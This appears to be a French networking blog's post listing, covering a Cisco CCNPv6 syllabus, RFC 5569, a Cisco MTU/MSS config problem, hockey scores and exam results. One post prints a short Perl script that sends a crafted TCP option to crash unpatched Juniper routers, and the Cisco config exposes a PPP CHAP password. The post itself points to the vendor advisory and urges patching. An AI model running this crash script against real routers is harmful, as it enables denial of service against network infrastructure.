CCNPv6

General

Ca y est Cisco communique sur la version 6 de son cursus CCNP :)
Bonne lecture : http://www.cisco.com/web/learning/le3/le2/le37/le10/learning_certification_type_home.html

L’annonce officielle : http://newsroom.cisco.com/dlls/2010/prod_012…

TSHOOT:

Troubleshoot Multi Protocol system networks

    * Troubleshoot EIGRP
    * Troubleshoot OSPF
    * Troubleshoot eBGP
    * Troubleshoot routing redistribution solution
    * Troubleshoot a DHCP client and server solution
    * Troubleshoot NAT
    * Troubleshoot first hop redundancy protocols
    * Troubleshoot IPv6 routing
    * Troubleshoot IPv6 and IPv4 interoperability
    * Troubleshoot switch-to-switch connectivity for the VLAN based solution
    * Troubleshoot loop prevention for the VLAN based solution
    * Troubleshoot Access Ports for the VLAN based solution
    * Troubleshoot private VLANS
    * Troubleshoot port security
    * Troubleshoot general switch security
    * Troubleshoot VACL and PACL
    * Troubleshoot switch virtual interfaces (SVIs)
    * Troubleshoot switch supervisor redundancy
    * Troubleshoot switch support of advanced services
            (i.e., Wireless, VOIP and Video)
    * Troubleshoot a VoIP support solution
    * Troubleshoot a video support solution
    * Troubleshoot Layer 3 Security
    * Troubleshoot issues related to ACLs used to
            secure access to Cisco routers
    * Troubleshoot configuration issues related to
            accessing the AAA server for authentication purposes
    * Troubleshoot security issues related to IOS
            services (i.e.,finger, NTP, HTTP, FTP, RCP etc.)

CCIE SP Operation:
Ah oui, il y a aussi l’apparition d’un CCIE SP Operation : https://learningnetwork.cisco.com/community/certifications/ccie_sp_operations/syllabus.

RFC 5569

Telecom

Je vous recommande la lecture de cette RFC (5569): Elle décrit la technologie 64rd utilisée par Free pour déployer ou bien fournir pour être plus précis de l’IPv6 à ses clients.

Au passage, je vous recommande aussi la lecture assidue du blog de Stéphane Bortzmeyer…

Problème de MTU/MSS...

Telecom

  • Partie signficative de la configuration du routeur Cisco (C851-K9 juste pour information, cela n’a aucune importance dans la résolution du problème):

    CI-174-plop#sh run int vlan 1
Building configuration...

Current configuration : 169 bytes
!
interface Vlan1
 description **** LAN ****
 ip address 1.1.1.1 255.255.255.248
 no ip redirects
 no ip proxy-arp
 ip tcp adjust-mss 1420
 load-interval 30
end

CI-174-plop#sh run int dial 1
Building configuration...

Current configuration : 257 bytes
!
interface Dialer1
 mtu 1460
 ip address negotiated
 no ip redirects
 encapsulation ppp
 ip tcp adjust-mss 1420
 dialer pool 1
 dialer-group 1
 ppp authentication chap pap callin
 ppp chap hostname B8756-04515-781@fournisseur.wireless
 ppp chap password 0 032004439900435DFDF
    • 1.1.1.1/30 est un subnet d’adresses IP publiques (récemment alloué /8)
    • La session PPP s’établit correctement et aucun problème de transit n’est établit.La configuration du routeur Cisco ne peut être changée.

  • nas-plop est un routeur Linux de configuration :

Un segment pour rebooter

Telecom

L’envoi d’un paquet TCP avec des options particulières ferait rebooter les routeurs Juniper dont le firmware ne serait pas à jour (< 28/01/2009).

$ cat junos-crash.pl
#!/usr/bin/perl

my $host =      shift;
my $port =      shift;

use             Net::Packet qw($Env);

use             Net::Packet::IPv4;
my $ip =        Net::Packet::IPv4->new(dst => $host);

use             Net::Packet::TCP;

my $tcp =       Net::Packet::TCP->new(
                    dst         => $port,
                    options     =>  "x65x02x01x01",
                );

use             Net::Packet::Frame;
my $frame =     Net::Packet::Frame->new(l3 => $ip, l4 => $tcp);

$frame->send;
exit 0;

Cet incident est reporté et connu de Juniper sous : juniper-PSN-2010-01-623.txt.
A vos mises à jour :)

Rouen 7 - 0 Angers

General


Ce fut un match agréable avec de nombreux buts. Que de très jolis buts :-)
Maintenant direction la finale à Paris Bercy le 31 janvier 2010 :)

Rouen - Angers : 7-0
01'51 : 1-0 : Jérémie ROMAND (Loïc LAMPERIER)
09'19 : 2-0 : Eric DOUCET (Carl MALLETTE; Petri VIROLAINEN)
27'30 : 3-0 : Luc TARDIF (Kai OHBERG; Ilpo SALMIVIRTA) [5-4]
28'40 : 4-0 : Carl MALLETTE (Marc André THINEL; Eric DOUCET)
34'55 : 5-0 : Eric DOUCET (Carl MALLETTE; Magnus ERIKSSON)
43'44 : 6-0 : Daniel CARLSSON (Jonathan ZWIKEL; Luc TARDIF)
46'27 : 7-0 : Daniel BABKA (25: Ilpo SALMIVIRTA) [4-3]

Plus de détails, je vous renvoie vers le site du RHE76 :)

Bonne année !

General

Avec un peu de retard. Désolé. Pas le tout de réveillonner, il faut s’en remettre …

BCMSN passed !

General

J’ai passé ce matin avec succès mon BCMSN (967/1000). Je vais enfin pouvoir passer au BSCI (sujets qui m’intéressent au plus au point).

Stay tuned !

Implement VLAN 100%
Conduct operation of Spanning-Tree protocols in a hierarchical network 100%
Implement Inter-VLAN routing 90%
Implement gateway redundancy technologies 100%
Describe and configure wireless client access 80%
Describe and configure security features in a switched network 100%
Configure support for voice 100%

ldpd and ospf6d

General
L’ami Claudio Jeker (claudio@) a décidé qu’il était temps d’ajouter ldpd(8) (MPLS) et ospf6d(8) (OSPF en environnement IPv6) à l’arbre de construction du système d’OpenBSD. C’est une excellente nouvelle pour le réseau sous BSD :)